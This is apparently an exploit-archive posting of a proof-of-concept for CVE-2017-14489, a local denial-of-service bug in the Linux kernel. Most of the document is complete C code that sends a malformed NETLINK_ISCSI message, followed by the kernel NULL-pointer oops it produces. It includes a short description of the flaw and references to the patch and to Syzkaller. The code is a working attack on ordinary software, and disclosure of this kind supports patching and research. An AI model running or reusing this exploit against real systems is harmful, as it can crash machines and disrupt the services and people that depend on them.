Linux Kernel 4-14-rc1 Denial Of Service
Posted on 03 October 2017
# Exploit Title: Linux Kernel<4.14.rc3 Local Denial of Service # Date: 2017-Oct-02 # Exploit Author: Wang Chenyu (Nanyang Technological University) # Version:Linux kernel 4-14-rc1 # Tested on:Ubuntu 16.04 desktop amd64 # CVE : CVE-2017-14489 # CVE description: This CVE is assigned to Wang Chunyu (Red Hat) and discovered by Syzkaller. Provided for legal security research and testing purposes ONLY. In this POC, skb_shinfo(SKB)->nr_frags was overwritten by ev->iferror = err (0xff) in the condition where nlh->nlmsg_len==0x10 and skb->len > nlh->nlmsg_len. POC: #include <sys/socket.h> #include <linux/netlink.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #define NETLINK_USER 31 #define MAX_PAYLOAD 1024 /* maximum payload size*/ struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct iovec iov; int sock_fd; struct msghdr msg; int main() { sock_fd=socket(PF_NETLINK, SOCK_RAW, NETLINK_ISCSI); if(sock_fd<0) return -1; memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); /* self pid */ bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; /* For Linux Kernel */ dest_addr.nl_groups = 0; /* unicast */ nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD)); memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD)); nlh->nlmsg_len = 0xac; nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = 0; strcpy(NLMSG_DATA(nlh), "ABCDEFGHabcdefghABCDEFGHabcdef ghABCDEFGHabcdefghABCDEFGHabcdefghABCDEFGHabcdefghABCDEFGHab cdefghAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCDDDDDDDDDDDDx10"); iov.iov_base = (void *)nlh; iov.iov_len = 0xc0; msg.msg_name = (void *)&dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("Sending message to kernel "); sendmsg(sock_fd,&msg,0); printf("Waiting for message from kernel "); /* Read message from kernel */ recvmsg(sock_fd, &msg, 0); printf("Received message payload: %s ", (char *)NLMSG_DATA(nlh)); close(sock_fd); } Crash info: [ 17.880629] BUG: unable to handle kernel NULL pointer dereference at 0000000000000028 [ 17.881586] IP: skb_release_data+0x77/0x110 [ 17.882093] PGD 7b02a067 P4D 7b02a067 PUD 7b02b067 PMD 0 [ 17.882743] Oops: 0002 [#1] SMP [ 17.883123] Modules linked in: [ 17.883493] CPU: 1 PID: 2687 Comm: test02 Not tainted 4.14.0-rc1+ #1 [ 17.884251] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 17.885350] task: ffff88007c5a1900 task.stack: ffffc90000e10000 [ 17.886058] RIP: 0010:skb_release_data+0x77/0x110 [ 17.886590] RSP: 0018:ffffc90000e13c08 EFLAGS: 00010202 [ 17.887213] RAX: 000000000000000d RBX: ffff88007bd50300 RCX: ffffffff820f96a0 [ 17.888059] RDX: 000000000000000c RSI: 0000000000000010 RDI: 000000000000000c [ 17.888893] RBP: ffffc90000e13c20 R08: ffffffff820f9860 R09: ffffc90000e13ad8 [ 17.889712] R10: ffffea0001ef5400 R11: ffff88007d001700 R12: 0000000000000000 [ 17.890349] R13: ffff88007be710c0 R14: 00000000000000c0 R15: 0000000000000000 [ 17.890977] FS: 00007f7614d4c700(0000) GS:ffff88007fd00000(0000) knlGS:0000000000000000 [ 17.891592] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 17.892054] CR2: 0000000000000028 CR3: 000000007b022000 CR4: 00000000000006e0 [ 17.892629] Call Trace: [ 17.892833] skb_release_all+0x1f/0x30 [ 17.893140] consume_skb+0x27/0x90 [ 17.893418] netlink_unicast+0x16a/0x210 [ 17.893735] netlink_sendmsg+0x2a3/0x390 [ 17.894050] sock_sendmsg+0x33/0x40 [ 17.894336] ___sys_sendmsg+0x29e/0x2b0 [ 17.894650] ? __wake_up_common_lock+0x7a/0x90 [ 17.895009] ? __wake_up+0xe/0x10 [ 17.895280] ? tty_write_unlock+0x2c/0x30 [ 17.895606] ? tty_ldisc_deref+0x11/0x20 [ 17.895925] ? n_tty_open+0xd0/0xd0 [ 17.896211] ? __vfs_write+0x23/0x130 [ 17.896512] __sys_sendmsg+0x40/0x70 [ 17.896805] ? __sys_sendmsg+0x40/0x70 [ 17.897133] SyS_sendmsg+0xd/0x20 [ 17.897408] entry_SYSCALL_64_fastpath+0x13/0x94 [ 17.897783] RIP: 0033:0x7f7614886320 [ 17.898186] RSP: 002b:00007fff6f17f9c8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e [ 17.898793] RAX: ffffffffffffffda RBX: 00007f7614b2e7a0 RCX: 00007f7614886320 [ 17.899368] RDX: 0000000000000000 RSI: 0000000000600fc0 RDI: 0000000000000003 [ 17.899943] RBP: 0000000000000053 R08: 00000000ffffffff R09: 0000000000000000 [ 17.900521] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000400b9e [ 17.901095] R13: 00007f7614d50000 R14: 0000000000000019 R15: 0000000000400b9e [ 17.901672] Code: 45 31 e4 41 80 7d 02 00 48 89 fb 74 32 49 63 c4 48 83 c0 03 48 c1 e0 04 49 8b 7c 05 00 48 8b 47 20 48 8d 50 ff a8 01 48 0f 45 fa <f0> ff 4f 1c 74 7a 41 0f b6 45 02 41 83 c4 01 44 39 e0 7f ce 49 [ 17.903190] RIP: skb_release_data+0x77/0x110 RSP: ffffc90000e13c08 [ 17.903689] CR2: 0000000000000028 [ 17.903980] ---[ end trace 2f1926fbc1d32679 ]--- Reference: [1] https://patchwork.kernel.org/patch/9923803/ [2] https://github.com/google/syzkaller
